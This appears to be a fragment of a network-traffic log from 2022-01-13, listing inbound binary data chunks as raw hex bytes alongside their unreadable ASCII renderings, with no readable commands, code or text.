Data Ascii: Nk.h ~@oV#9!2zd{J]kC&q|AHL2R(=}|szD1vYY1<H|c% Z  +A]8<fDw89-{.HkPzNQ,Op;l/yaWR!v#J@$P*xi=~y

2022-01-13 21:05:20 UTC 319 IN Data Raw: cd eb 3c fe 8f 3a f4 a0 93 0e e2 ca 14 f3 cb 2f ba 60 af 0b f7 63 e8 32 c6 18 bc 1c 61 04 f9 e5 1f 91 81 08 33 80 
fc b8 d0 a4 41 e9 92 bd 4a 8a 44 c3 54 1d bf 76 17 bf a1 eb 5f 54 b1 49 55 85 db e9 68 b5 b5 bb 10 0b 6c b0 19 db d7 0e 
f6 0f 39 8d 4d 60 69 aa d8 fe b8 72 26 ec 50 90 82 6c 3b 41 08 1c e0 85 c1 c4 2d 70 1e 0c 1c f3 9a d7 bc 79 bc 23 1d e9 
a8 c6 09 ab 51 0d 6a a0 03 1c d5 98 c6 34 ae a7 8b 32 94 61 0c 61 08 43 f9 34 60 04 2e 2c 61 03 3e f4 21 11 30 30 be f2 
15 01 03 46 b4 8f cf 9e f2 24 a0 cd cb 34 b9 11 49 4d 1a 48 bb a4 8c 2e 82 56 4c 4a fe 1a 94 a7 59 31 f0 4e d1 51 1d 54 
da f4 b5 db 2c 85 42 6d 42 e0 03 5d 74 bf 2b 12 25 2e 18 a2 e0 fa 5c 52 82 10 34 00 0b d8 98 47 3d d4 01 8f 7b cc 63 1e 
f7 a8 c7 3c e0 a1 8e 14 26 23 18 c2 f0 85 0a a9 41 
Data Ascii: <:/`c2a3AJDTv_TIUhl9M`ir&Pl;A-py#Qj42aaC4`.,a>!00F$4IMH.VLJY1NQT,BmB]t+%.\R4G={c<&#A

2022-01-13 21:05:20 UTC 324 IN Data Raw: dd e9 b4 7f e8 98 0f ec a4 1b 62 58 47 1a 65 0b 50 76 70 5b c1 73 bc 5c 0e b8 26 a3 73 1a 73 3b 80 a3 77 c4 
63 db 4f aa 36 a3 af b0 75 c8 f6 13 75 08 7a 42 07 c3 76 bb cc 1f bc 30 36 89 39 bf 5e 8a 7a 4c ab 8a 44 c4 e2 3a be fb 52 
6f 6e fc bb ce a0 c6 5d 1c 2e 8e 1d 12 3f 7c d2 73 09 c2 bf 98 67 ff 19 41 97 7a aa 77 78 05 ed fe 72 e2 4d fa 1b 5b ba a5 
ca 09 20 ea f7 6a 87 bd 8d ef e7 ba f6 ad c2 fb e1 04 7d 0e a7 cf e2 c9 ff cf a4 1f 19 ba b7 7c 4a 4a bb dd 53 96 00 d7 e9 
2c 0b 34 9e ca 9e 73 4e 3d a7 f7 5e 50 48 ad cf 8f b5 b9 f7 79 75 8e 96 dc 82 16 d2 27 be 7e 92 b3 62 e9 bd bc 13 f4 a2 ff 
b8 5f 2a a9 03 9b 21 05 1d 4c 71 c7 46 92 23 f7 b5 d9 d9 d9 bb 6e ce 83 7e c7 67 f2 59 c3 8f cd a7 86 21 8e fc de 6f 39 fc 
b1 59 7a a5 59 da 8d 67 03 4b e0 e5 a3 fe 
Data Ascii: bXGePvp[s\&ss;wcO6uuzBv069^zLD:Ron].?|sgAzwxrM[ j}|JJS,4sN=^PHyu'~b_*!LqF#n~gY!o9YzYgK

2022-01-13 21:05:20 UTC 328 IN Data Raw: f3 f5 fc 4d 3d 29 ec b3 58 f9 0b e0 5f 9e 87 07 7d d1 28 67 f7 13 a0 02 a1 a2 1f d9 d1 65 5f 82 5a a0 04 c9 22 
bf c0 d1 08 60 13 cc 20 03 8b 87 1c c6 59 89 21 04 d2 a0 08 97 52 c1 10 1d 90 67 23 4c a1 4c f6 e7 41 fa d5 26 81 2a 8c 
a1 49 08 68 c0 f6 e8 4d 86 38 9c 0a ac f8 77 40 86 b0 0e 86 fe 39 0c 62 47 4c 27 a6 f0 59 f0 82 40 14 a2 12 2b 92 38 07 
7e 8e 21 0a db d7 ad 96 48 c5 8f d0 b0 87 13 b1 4b 15 b7 b8 91 06 f2 d0 85 a2 79 0f 17 c7 f8 0f 22 42 cf 84 ed f1 13 19 b9 
d8 c4 2f 1a 0b 82 cc 5a 63 15 f7 37 bf 1e 2a 4b 8e 73 d4 cf 1c 3a 48 a3 08 e2 51 89 74 fc 54 f6 a8 c4 25 04 fe 71 89 cf 7b 
03 1f 69 a3 bc 38 1e 32 88 74 0c 1c 72 fc 57 c8 c6 3c 52 88 e9 5b e4 43 8c 25 96 db 5d 12 87 fb 3b 83 cd 5a 98 a5 9d 7d 
32 87 e9 3b 0e 29 21 36 b6 24 9e 52 81 fb 53 4c 
Data Ascii: M=)X_}(ge_Z"` Y!Rg#LLA&*IhM8w@9bGL'Y@+8~!HKy"B/Zc7*Ks:HQtT%q{i82trW<R[C%];Z}2;)!6$RSL

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 332 IN Data Raw: e5 f6 20 ed 0f ff 81 31 11 4b 51 54 8f 36 f3 a6 fd 37 e6 1a ef 1b 63 6b 5d ee c4 f4 21 a5 ea 23 a2 b6 e8 9e b0 
e0 a1 e1 e1 f2 e2 e1 12 ac 91 6d 67 23 0a f3 b4 71 ef 21 00 03 90 a0 ef fc 3e e4 45 0f e9 8c 7e ec 3e 6f f0 85 2e f4 79 cf 
ec ff 50 f4 d0 9e f4 0d 2f 02 a1 f3 ea 2b 44 f1 5c 45 1b 8d a1 b3 e9 9d 9c 1f 59 e2 b0 56 53 55 2f 3d ec a6 ea 99 19 61 06 
09 b9 44 4b 5a ac 28 eb 35 cb 99 c1 ba a8 95 fd 41 41 51 02 1c 30 04 bf 4e 0c fb 5e e4 8b ee e8 7b 8f f0 cd 9e ec ae 9f f0 
c9 be df df 30 09 58 ce 03 a2 56 be 49 41 dd 88 a7 3a ef 92 45 11 e7 ed 95 4c c9 cc 48 85 47 c1 97 c0 a8 96 ab fa b0 21 
07 1e a3 fe 0c eb 94 e5 ee e9 65 a5 2e 1f fa 3d 61 18 23 dc eb 76 00 ec d3 40 0f 4c ae f3 c6 8e ec 76 ff f3 78 3f f4 77 ef ef 
00 7f 0f 0c ff 00 1f 70 f8 26 ba c0 86 
Data Ascii:  1KQT67ck]!#mg#q!>E~>o.yP/+D\EYVSU/=aDKZ(5AAQ0N^{0XVIA:ELHG!e.=a#v@Lvx?wp&

2022-01-13 21:05:20 UTC 336 IN Data Raw: 0a 86 bd a5 48 08 82 e1 6c 5d 90 c8 0a c5 19 0d ed db 0b e5 dc 43 93 74 ce 3c 95 8e 10 d2 dd f3 e4 5d 16 b5 
8b 63 43 31 18 dd 51 b6 95 c6 bc 35 e0 96 a5 c4 72 bc fe 4c 20 cc ae 7f cb c4 f5 99 11 84 40 dc 19 81 c1 f8 73 5e 22 7d 
dc 9e f5 54 60 28 86 7d ac 34 e9 9b be 64 31 96 33 86 af 34 b6 b4 ac bd ad 21 60 5d 6a dc 49 d9 0d 49 81 38 56 cb 53 47 
e4 ea 99 f3 98 4e b7 7d 5b 21 e6 bc 37 3b b1 dd 35 88 4f b9 60 a7 89 53 e4 14 49 bf 1d e4 e9 c4 ae c0 cd 14 f9 b8 17 08 
f6 b8 4d c4 5f ec f8 14 1b c8 bc 0c 86 11 7a 3c 81 10 70 d7 2c d8 84 10 b6 1f da 1a da a4 18 55 a2 42 96 0a 21 61 cc b5 
ad b9 1c 4e 89 75 82 2c 59 e4 74 94 63 83 70 e4 f8 58 ce 0d 7a 46 49 4a 59 23 41 b8 fd e5 5f e6 e2 b8 de 9d 0b ae 2b 62 
a7 11 e4 78 f9 91 44 5d 24 f4 10 4f 62 7d 59 bd 34 a4 61 
Data Ascii: Hl]Ct<]cC1Q5rL @s^"}T`(}4d134!`]jII8VSGN}[!7;5O`SIM_z<p,UB!aNu,YtcpXzFIJY#A_+bxD]$Ob}Y4a

2022-01-13 21:05:20 UTC 340 IN Data Raw: e5 dd 27 c6 a3 51 7c c6 0e fe 63 35 a1 21 3c e9 d5 60 3d 95 27 ce 9b 2d 22 5d 40 fe de bd 55 4f e0 61 8c 37 
dd dd 2a 79 92 82 05 cb d9 0d 5a 7a 21 d0 e1 74 8a 42 ec e0 3d 1a 62 43 11 1a 57 55 1f db a9 e2 0b c2 0a 14 d6 c4 38 
79 9e 0d fa 5e e2 a0 9f 8b 79 15 61 11 ce 67 38 a4 5e 7d e1 c8 74 99 e0 b9 62 47 6e 63 ba a5 18 e3 45 94 e0 a5 dc 1b c2 
61 40 d2 e1 7d a1 d9 05 62 1b 58 42 1a 26 3a 5b 80 dd 1a 44 4a 63 6a 81 04 ee 29 23 f6 a5 11 d4 91 ca 8a 84 c6 51 90 
86 55 ba 61 0c ee fe 64 4f de 65 4b 8c 53 d7 41 d6 48 aa e0 03 ee 9d 66 75 65 4a ce 23 5a 36 8c d8 f9 56 cd 9d 9d 45 aa 
08 46 22 0c eb 41 20 18 7e 24 fe d5 60 23 76 53 2e 2a a3 2c 76 55 4c 66 d6 ad d5 e0 61 ba 4a 50 30 c7 18 ce e4 21 2a 0
4 42 19 49 92 59 de 62 4e e1 64 ea e4 98 19 47 b2 04 65 93 34 10 
Data Ascii: 'Q|c5!<`='-"]@UOa7*yZz!tB=bCWU8y^yag8^}tbGncEa@}bXB&:[DJcj)#QUadOeKSAHfueJ#Z6VEF"A ~$`#v
S.*,vULfaJP0!*BIYbNdGe4

2022-01-13 21:05:20 UTC 344 IN Data Raw: 88 1a 31 51 ae 0d b4 ae 22 48 ec fe 00 84 2f be 6d 32 64 6a 4c 1b d4 54 23 1a 60 0d 30 3b 5a 7a 9b 2c a5 43 
44 15 c6 53 a8 7c 75 49 62 11 58 ae 5f 72 2f aa e2 dc de 3a c5 59 d1 97 2d e4 b7 ca 1c e2 2e 4b 0a 3a 94 ae c4 b2 fb fc 
22 35 03 27 49 b3 fa f0 3f 4c 73 ee dd 32 22 9e 9a c0 cf 7d 7a f9 2d 6c 4d f8 cf d5 3e a5 7b 22 bb 97 5e 03 17 96 64 76 8f 
b7 7a ec a5 67 2b 6c 54 f2 2e f4 a9 e4 a5 41 52 f5 f8 5f 00 57 b3 9b 4d 7d 70 5c ad e2 ac b4 92 d6 85 ca c5 8b 30 bf d9 d0 
73 16 52 23 50 01 1e 8a 03 86 96 96 08 70 c6 28 69 60 27 7f cc b9 1f 23 f8 8a f8 9a 96 52 cc f9 32 4b c2 16 c4 7d 15 ec 
7a bd f7 23 de 9d 88 92 ba 55 a0 fc c4 32 de c4 25 d5 9a 11 d9 e3 2f 5f 86 a2 5f c6 77 24 a1 bb 6c d5 4e 59 44 15 92 96 
21 88 05 58 45 e1 89 2f a8 99 f6 94 30 b5 20 75 5d 
Data Ascii: 1Q"H/m2djLT#`0;Zz,CDS|uIbX_r/:Y-.K:"5'I?Ls2"}z-lM>{"^dvzg+lT.AR_WM}p\0sR#Pp(i`'#R2K}z#U2%/__w$lNYD
!XE/0 u]

2022-01-13 21:05:20 UTC 388 IN Data Raw: 7d 31 e2 1a 3b c6 24 f3 c1 7a d2 15 80 91 66 81 c9 21 14 0d 71 82 0f c5 42 4d d8 7a 4d d8 77 26 36 83 f6 b3 7f 
08 33 85 05 c6 1f ab f7 6c 4a 73 70 23 28 82 b7 54 25 f2 74 65 19 63 7b 12 e7 79 59 a4 7b 2d 28 83 ae f4 7b b2 03 83 45 
62 67 23 b2 1c fe eb 21 6a d4 a6 4e 4c c2 6b 84 b3 1e ee e1 7f 46 98 86 90 21 71 7b 88 13 2b 37 86 d5 07 88 e8 32 5a 47 
88 3f 53 12 57 26 68 22 93 54 2c b4 35 79 f1 c2 30 72 28 54 ff d0 4a 74 88 2e 8e 96 78 34 64 7b 2d 37 7b 9a a8 46 f0 96 
8a 50 a8 86 8d e7 7e 04 b2 22 07 b5 1d ce c6 77 5b 95 7a 74 43 2d b1 a4 15 63 12 8b be 58 44 f6 66 89 99 78 8b 60 c5 
89 d0 f6 89 f7 e3 73 fa 31 76 b6 b5 2d 79 a6 7e 9a 05 5e 44 61 6a c7 88 8c 8a d6 67 60 18 47 60 a2 87 d1 f8 8c d2 18 53 
61 62 86 4e 70 81 b3 26 4e ff 97 50 d9 04 1f 03 c8 6e 38 
Data Ascii: }1;$zf!qBMzMw&63lJsp#(T%tec{yY{-({Ebg#!jNLkF!q{+72ZG?SW&h"T,5y0r(TJt.x4d{-7{FP~"w[ztC-cXDfx`s1v-y~
^Dajg`G`SabNp&NPn8

2022-01-13 21:05:20 UTC 392 IN Data Raw: b7 93 d9 01 88 8a d3 c2 dd ae c4 61 0c 32 58 c1 02 15 b0 80 03 26 50 81 5a 42 e0 02 5d f8 04 36 d2 51 0f 8b 
08 04 95 1f 02 a1 08 81 60 02 19 f0 c0 2b 7f 61 cf 5c 94 e9 38 66 ea 71 9a 1f 1d a4 34 41 da a2 f1 1d cd 90 7a b9 da 95 
e2 03 3a bb 84 ae 3c 99 92 24 39 4d 08 43 86 d1 54 2a 18 75 cc 49 97 f8 17 af 68 4b 7e ee d2 8e 4c 77 02 19 1a 98 ed 34 
06 c2 67 2a eb 11 8f 6f 34 43 13 c8 83 c0 02 1e 00 81 1f 64 40 08 08 f5 06 3b 38 74 40 97 0d 04 84 ec 18 66 31 6d 50 83 
1a c4 60 88 7d d9 28 11 77 86 c7 91 b6 95 85 22 75 ab 75 ee 65 96 ee ac 05 7d 8a ac 9e 8f 1c 69 fe 17 53 c9 6f 92 9d 32 
67 fa 6c 5a 94 43 35 2c 2d d4 e9 e4 5f 86 58 35 b5 9c 40 06 c7 11 1b eb 22 66 4f 31 fd f2 43 06 ca c8 ae dc e1 0d 60 90 
a1 0b af 11 82 17 26 01 0c 6b a8 03 5a 67 4b ea b4 54 e3 
Data Ascii: a2X&PZB]6Q`+a\8fq4Az:<$9MCT*uIhK~Lw4g*o4Cd@;8t@f1mP`}(w"uue}iSo2glZC5,-_X5@"fO1C`&kZgKT

2022-01-13 21:05:20 UTC 396 IN Data Raw: 77 f2 ec 29 b3 a5 47 8f 3e 87 12 2d 6a 72 22 c1 83 33 0e 42 c4 d8 12 e4 0c 86 0b 2f 22 ad 0a 74 86 c3 81 4b 1f
32 7d fe 48 35 63 c8 84 46 c7 d6 4c 58 63 25 41 ac 4e af 2a fc d9 96 2c dc b8 72 e7 d2 ad 6b 97 23 d0 af 77 f7 f2 d5 78 b0 
22 d2 81 5a d7 ae 84 fa d6 e0 43 1a 29 6f 14 ae 0a b8 20 c1 af 60 a1 f6 b5 0b f4 ac 43 bc 2a 39 52 cd ac 16 66 ca ca a2 47
93 2e 6d fa e4 55 c9 9f 47 0a 3d ed 5a 24 e4 89 32 ce 6a b5 98 fa 63 68 87 69 63 24 3d 9b 37 71 c4 18 07 95 aa 6e bd 71 
f5 6b ba 58 91 93 54 bb 3c b3 5c b1 61 37 4f 37 9e fc 3a f6 ec 3b 6f 4b 6f ce 5c bb 69 88 5b 11 46 c4 ea 9b 25 48 a9 52 a9 
32 55 cc 52 ea 0c c6 ba 03 23 3c 58 9c 79 77 f0 fa e3 e6 3f 3e c3 fd 64 b8 05 b8 1f 81 05 12 c8 dd 80 d3 19 68 da 78 10 
0d 34 9b 57 2a 9d 87 df 61 67 41 94 56 6a ff 
Data Ascii: w)G>-jr"3B/"tK2}H5cFLXc%AN*,rk#wx"ZC)o `C*9RfG.mUG=Z$2jchic$=7qnqkXT<\a7O7:;oKo\i[F%HR2UR#
<Xyw?>dhx4W*agAVj

2022-01-13 21:05:20 UTC 400 IN Data Raw: 63 ca 64 89 92 e2 cc 9b 38 73 ea dc c9 b3 e7 ca 9a 13 7d 0a 1d 4a b4 a8 d1 a3 1f 81 4a 44 ca b4 a9 d3 a7 50 
61 2a ad 18 b5 aa d5 ab 58 b3 42 9c aa b5 ab d7 af 60 63 4e 4d 19 b6 ac d9 b3 68 1b 8e 4d cb b6 ad db af 6b df ca 9d 4b 
d7 68 dc ba 78 f3 ea 7d 79 77 af df bf 80 35 f6 0d 4c b8 b0 e1 81 83 0f 2b 5e 8c 37 31 e3 c7 90 d1 3a 8e 4c b9 b2 e5 cb 98
33 6b de cc b9 b3 e7 cf a0 43 8b 1e 4d ba b4 e9 d3 a8 53 ab 5e cd ba b5 eb d7 b0 63 cb 9e 4d bb b6 ed db b8 73 eb de 
cd bb b7 ef df c0 83 0b 1f 4e bc b8 71 ab 93 8f 2b d7 9a 7c b9 f3 aa cd 9f 4b 6f 1a 7d ba f5 a2 d5 af 6b ef 99 7d bb 77 9c 
dd bf fe 8b 97 ca 75 bc 79 9e e1 cf ab 37 59 7e bd 7b f2 4a df cb 77 99 7e be 7d 8b f5 ef eb 5f 98 7f bf 7f 83 14 d5 70 d2 7f 
04 0a d6 5e 81 08 26 a8 e0 82 0c 36 e8 e0 83 10 
Data Ascii: cd8s}JJDPa*XB`cNMhMkKhx}yw5L+^71:L3kCMS^cMsNq+|Ko}k}wuy7Y~{Jw~}_p^&6

2022-01-13 21:05:20 UTC 404 IN Data Raw: f3 93 ce 41 82 4b e6 42 11 f3 62 c7 21 03 be fa 92 9d f9 13 a6 97 a9 cd 00 0d d0 17 03 d0 ff 7c b5 36 90 b5 32 
90 b5 40 7c 3f 0f ac d0 09 c1 59 45 32 fe 26 ed 0c 30 70 b6 c6 51 42 03 02 01 d3 ee f9 94 92 2c c9 fd dc cf 21 cd cd 49 d3 
bd ff 54 d2 08 7d 12 c2 6c d2 89 d2 2d 6e 82 26 ed 1c d1 50 e2 2f 25 00 9d 64 61 a0 9a 79 a6 16 13 d5 b8 cc c0 1e 5d cd 
33 c0 d1 3d ed d3 06 1d 4e 42 4d 10 9d e4 26 c1 83 2c c3 b3 2f c8 b2 15 e0 52 2b 0c 1a 64 45 ba d6 85 53 38 55 9d a0 a2 
b5 d3 c7 ac d5 40 3d cc 41 6c b3 72 72 d6 c1 43 16 26 40 10 0f 26 ab 68 7a d1 f6 7c cf 36 1d d2 86 1d ad 57 8d 3f 74 fd 
5b 83 d5 d5 04 11 52 7b b2 15 52 f2 2e 65 fd d2 4f 89 24 c0 99 3f 6d 5d a4 84 c3 cd 6b cd d9 ba ac 2c 14 4c d7 76 dd c6 
08 ed d8 41 f2 33 08 61 d4 2f ed ce e0 b2 49 f0 79 
Data Ascii: AKBb!|62@|?YE2&0pQB,!IT}l-n&P/%day]3=NBM&,/R+dES8U@=AlrrC&@&hz|6W?t[R{R.eO$?m]k,LvA3a/Iy

2022-01-13 21:05:20 UTC 408 IN Data Raw: b0 f0 03 05 7a 01 18 f0 28 e4 6c 03 4b 31 78 6c e2 02 0c a8 42 05 ac a0 05 2b 90 41 1a e3 18 54 fe d8 ea 51 
8e 63 54 62 c0 cf f3 f1 38 ff 21 e4 21 5b cb 1a f2 f0 d5 d0 90 6c db 08 9b cf 0a 60 78 06 cd 6e 15 e5 54 60 a1 99 42 98 04 
38 80 b5 65 c0 2a d3 cb 73 6d 66 15 c2 c0 89 66 0c 7a 5d f7 f8 55 39 8c 91 89 1d 94 a0 04 88 d9 20 d7 fe 61 30 3b 77 aa 
c8 64 d3 d9 3b 08 7b 81 0c 78 41 1a 97 f6 55 ae ba 11 09 21 28 30 0c 9e bd c7 96 4f dc 65 5d cc b5 02 1b e8 02 2b c2 21 
a8 88 d9 23 d3 f6 30 87 9b 07 8c d9 08 c6 c0 06 ca 99 b3 a9 39 85 67 3d 13 ed 67 f6 00 c7 0b 61 18 09 6d b8 c3 66 f0 9a 
b5 26 88 80 01 22 88 e1 19 f7 a8 87 ae 85 c9 5e 61 e6 03 1e c2 08 80 00 34 10 06 56 8c 63 1e 84 ca d9 b1 e1 55 0d 64 ec
98 03 e5 21 cc 05 e7 bc 9c 69 8b 09 d5 47 36 60 39 c8 
Data Ascii: z(lK1xlB+ATQcTb8!![l`xnT`B8e*smffz]U9 a0;wd;{xAU!(0Oe]+!#09g=gamf&"^a4VcUd!iG6`9

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 420 IN Data Raw: 2c a1 9c ca be 8c b9 bd cc 48 d2 bc 18 fe de d2 3b c4 0c 92 f7 10 22 5b 62 9a a5 64 1a c7 f0 1d 4e 5b 92 26 
89 c9 99 e0 4a 83 e4 34 db 64 88 f7 6a c5 36 bc 8b 04 22 8c d6 cb 16 b8 43 4d 5c 33 cd e4 9c 9c fd db ad 1f 72 4e 02 fb 
8e 7e 42 9e 87 40 16 74 3c bb 86 98 94 a8 e4 4e ae a4 4c 74 63 4c 61 6b 92 f7 32 16 03 b2 29 ae 41 cf df 62 ce 3b 74 82 
7b 5b 4f e2 b9 a9 90 c4 16 c8 79 20 a5 59 94 39 ac bb 32 62 c5 82 10 b8 cf 89 08 70 db cc 68 dc b4 f0 00 d0 1a b0 01 ef 
48 bd cd 51 4d 92 24 c9 06 32 89 f7 b4 c1 d9 3b 4d 08 5d 16 20 f2 41 be 8a 43 18 13 32 3f 03 1b 8c 9c 4d 8c 4c 92 18 fb 
0c ef 88 08 94 33 d0 de 8c b5 9f 4c 3d d5 53 4d a8 7c 9c 62 09 40 cd a0 50 d9 73 cf 19 cd 18 e7 d4 27 e2 fc a7 17 75 20 
d7 94 8f 4b 19 09 fc e4 4a 60 bc 41 cc d0 8c a2 4c bd 92 
Data Ascii: ,H;"[bdN[&J4dj6"CM\3rN~B@t<NLtcLak2)Ab;t{[Oy Y92bphHQM$2;M] AC2?ML3L=SM|b@Ps'u KJ`AL

2022-01-13 21:05:20 UTC 436 IN Data Raw: 8a 4e 60 90 0a 39 8b 3b c7 63 be e6 65 05 16 91 5a 08 59 5c a8 57 a0 87 55 a2 17 77 9f 32 86 61 91 6f e5 a5 
7e 3a 60 82 7a 60 07 96 90 09 7a d8 09 a8 00 0a d9 08 0b cb 30 98 83 29 93 a0 70 98 30 99 98 c0 00 93 ac b0 93 ac a0 
09 95 00 06 5f 10 8d 2b 59 8d 7e 89 8d 2d d9 92 7f a8 8f f8 38 0c b2 e0 8f c4 b0 8f a0 f9 8f 9e 19 90 2a b0 95 05 79 90 07 
78 03 ac d9 9a 37 50 03 9d 06 6a ce 45 85 b4 09 53 07 23 91 48 e7 79 5d 38 5b 97 b5 8b 9b 61 43 1d c5 64 62 51 97 3c 
c0 7f 79 60 09 96 40 0a 4c 89 0a df b8 0c a9 e0 9c c3 10 93 89 79 98 88 99 98 8a 69 9d 86 09 99 d7 fe 78 8d 80 a9 8d db 
98 0a 80 19 9e db e8 0c a9 40 95 e4 69 9e fd 38 0c 55 39 9a a8 80 05 13 d0 00 24 80 02 ad f8 95 0d f1 9a 39 87 04 62 c9 
63 0a c9 13 ae 78 9b 69 f9 59 6b 79 59 b8 96 8b 6f b9 14 1b 
Data Ascii: N`9;ceZY\WUw2ao~:`z`z0)p0_+Y~-8*yx7PjES#Hy]8[aCdbQ<y`@Lyix@i8U9$9bcxiYkyYo

2022-01-13 21:05:20 UTC 452 IN Data Raw: c1 26 b5 21 54 9c eb 01 a9 7a 09 40 68 c1 bb 39 77 bf 40 06 1c ec c1 5e e4 45 78 b6 ab 34 cb 9d 25 ac 6d 55 
45 ac 59 10 07 87 40 09 64 30 3f 5c 10 00 5c b0 9d c8 50 0e c1 83 62 98 d4 63 e9 70 0d a0 e0 05 0f 90 02 98 a8 03 55 00 
04 42 cc ae cf 70 8f 93 e0 fe cd 43 30 d2 2c 80 64 4d 00 04 2c 90 05 43 1c 0d f1 79 cc aa b0 0a 49 10 09 a9 30 0c c5 f9 
0c c0 30 09 47 e0 56 d4 8c 64 7b 4a 09 ce b0 cd d1 10 0d aa 70 0a 92 90 04 43 d0 03 20 d0 01 20 90 04 f3 82 0a af 20 0b 
45 96 09 f9 24 cb 8c 26 1b 4e 90 c0 02 b1 c0 f0 2c 16 47 b2 1c ce c1 b9 21 00 03 59 40 09 15 5c c2 8e a4 0e a3 cb 05 8f 
ec b2 4a bb 0e cf c0 09 2b fb ab cd 90 c9 5e a8 4c f7 d0 c9 71 50 07 fd e5 09 ac a0 0b 53 3a 06 ba 40 0d 16 3d 3c c6 a6 
c9 09 56 6a 33 77 bc 14 90 02 ed 73 89 6c 35 09 71 d9 af 
Data Ascii: &!Tz@h9w@^Ex4%mUEY@d0?\\PbcpUBpC0,dM,CyI00GVd{JpC   E$&N,G!Y@\J+^LqPS:@=<Vj3wsl5q

2022-01-13 21:05:20 UTC 468 IN Data Raw: 72 1c 04 5d ce e5 2d 18 2f 2b 39 d7 58 90 05 57 c8 04 e0 14 05 00 3a 84 3b d0 02 2a d0 02 c4 23 31 5a 20 31 
69 10 a8 ba 0b f3 74 b0 06 50 98 04 cc 6a a7 23 80 bc 61 f0 89 6e 20 87 71 18 07 fe 9e f9 71 20 07 68 b0 0a db 88 83 7d 
3b 82 38 68 99 5e cf 06 6e 10 fa 59 18 84 4c 18 84 3b 00 9a 31 e9 0a ab 0e 20 4f 28 25 1f c1 75 56 a9 01 ea d4 03 51 38 
05 58 a8 f3 4b 80 84 94 ab 0e 61 27 f6 1e d8 8d 19 6f 9c 34 2e 0e 8b 6a a2 f2 f3 c9 1e af f6 b5 c7 2e f7 23 23 a3 94 84 fc 
9c e8 3d e6 63 f3 f5 cf 54 00 86 95 e0 9d 79 40 4b 29 07 69 4b 66 bb 45 32 69 a8 2a 07 71 78 07 a6 0a 11 75 00 11 76 50 
07 76 58 87 df c1 77 56 28 03 32 10 c5 65 18 86 61 e8 84 4c c2 0c cc 70 11 fe cc d8 84 49 d8 84 50 08 85 61 68 14 06 9f 
b8 6f 13 85 55 80 61 b6 42 23 27 0e f4 01 12 74 c1 b6 
Data Ascii: r]-/+9XW:;*#1Z 1itPj#an qq h};8h^nYL;1 O(%uVQ8XKa'o4.j.##=cTy@K)iKfE2i*qxuvPvXwV(2eaLpIPahoUaB#'t

2022-01-13 21:05:20 UTC 484 IN Data Raw: fe 9d a2 d0 9a 17 cd 38 f1 c8 23 4f 3d f6 68 9f bd 3d f7 d8 b3 6a d0 44 0f ad aa a9 ac aa 83 cd 24 5e 10 f1 03 
10 51 a1 7b 17 09 f1 8f 30 bf 8f f3 db 1f a2 92 4c 44 d1 27 8d 88 4f 69 65 0f 7c 00 b0 1c 0c 29 07 e8 92 56 c7 f0 d4 31 7c 
19 0a 05 39 b0 dc 55 82 c3 84 19 d0 a8 4f 5e 6b 1b 14 fa 84 15 1e 81 85 2a 69 f9 d3 5d 52 e3 b1 ad 41 29 67 88 83 d6 5d 
48 f7 24 3e d5 4b 35 7d 32 14 e6 78 a0 83 d0 79 8e 06 38 b0 01 0e 72 88 b9 1d 32 81 74 7e 32 4a 55 d2 92 37 68 35 c6 
27 20 48 c2 03 71 50 b1 ee 9c c0 04 2a 02 81 08 72 87 27 90 81 8c 35 4d 74 a2 00 85 37 bc 19 d4 e0 38 31 58 1e 18 c3 
28 c6 31 2a 87 3b 35 f3 4e 78 60 b8 03 52 c8 22 1a e4 10 47 3b ac 77 3d ec 71 4f 7b ac 0a 5f d0 4c 85 90 7d 08 64 1e e8 
3b c2 fa da d7 38 0a e6 49 3c 85 34 8b 78 9e e4 a4 44 8a 
Data Ascii: 8#O=h=jD$^Q{0LD'Oie|)V1|9UO^k*i]RA)g]H$>K5}2xy8r2t~2JU7h5' HqP*r'5Mt781X(1*;5Nx`R"G;w=qO
{_L}d;8I<4xD

2022-01-13 21:05:20 UTC 500 IN Data Raw: 0f 2c 8b 0d 68 61 05 5c 80 4d dd 5b cb e4 c0 0b d0 a1 0b f4 00 11 80 40 19 95 91 1e 12 c6 c5 bd c0 6c 2c d8 
ee 8d 5b cf a1 00 0a b4 c0 0b dc 98 1e f2 61 1f 4e 06 f7 6d c5 0e 34 01 0a 34 81 13 44 df 09 56 00 82 1d 58 05 b0 80 15 
ce 06 0c b8 c5 0a fc 43 2b 65 e1 10 f4 80 29 0e 41 0b f4 0b 1d be c0 24 9e e0 f4 90 c0 0b a4 80 2c 4e 40 99 c4 c4 04 a8 
00 05 80 c0 c5 ed 80 0e e8 80 0d f4 00 0f 98 62 26 0d 06 61 80 00 06 18 23 61 fc 80 0a a8 00 0b 50 c0 fe 0f b0 00 21 f6 
dc 4c 3c 80 f0 f1 e2 67 5c 23 0d d8 e1 58 64 00 08 b4 40 26 85 20 0e 20 56 f4 d0 80 08 a4 80 61 b4 c0 0a 18 22 0c ce 20 
3b b6 a3 f8 d4 e0 0d ce 40 3c 0a c7 08 02 9a 69 6d 8c 6a 1d da 35 09 e1 c7 30 0c dd 75 13 18 68 00 a4 fc 40 06 70 62 13 
48 a1 12 9c 1e 42 2e 24 82 75 9d 04 d0 0d 28 be 00 3a fe 
Data Ascii: ,ha\M[@l,[aNm44DVXC+e)A$,N@b&a#aP!L<g\#Xd@&  Va" ;@<imj50uh@pbHB.$u(:

2022-01-13 21:05:20 UTC 595 IN Data Raw: 4b 2c a7 1c e4 c2 07 29 a4 b0 02 0c 2f ec 70 85 25 af c8 e2 49 24 56 b8 27 92 2c a0 40 22 04 04 17 7c 94 81 
10 58 84 e4 89 27 95 58 e1 45 24 9e 40 13 8e 36 d0 94 44 95 24 aa 38 33 d4 15 21 74 20 42 42 4b a9 22 49 12 58 28 44 
8a 91 43 10 41 95 55 41 89 72 90 24 b1 a8 42 4a 1e 40 74 00 16 0a 26 90 55 56 5a 68 ad d5 16 5b 70 cd 45 c3 5c 74 d9 
85 17 35 7b d9 03 d9 3e 7e f5 15 58 3d f3 a8 aa 6a 3d f5 fc f3 19 69 a4 e5 b3 cf 3d c5 60 53 4d 35 9b 15 93 ce 67 a2 85 
26 19 65 92 49 56 6a 3e f7 a0 f3 8b 2f c8 70 42 c6 12 4b 68 41 86 27 a0 80 f2 09 28 9a a4 32 0c 2c 9e 7c 61 e5 7b b5 68 
6b 45 06 41 7c 51 c9 48 c8 81 e1 c5 24 a8 80 82 9c 72 91 38 43 dd 11 c5 a5 b2 60 17 18 60 40 c4 17 a8 c0 f2 09 24 19 60 
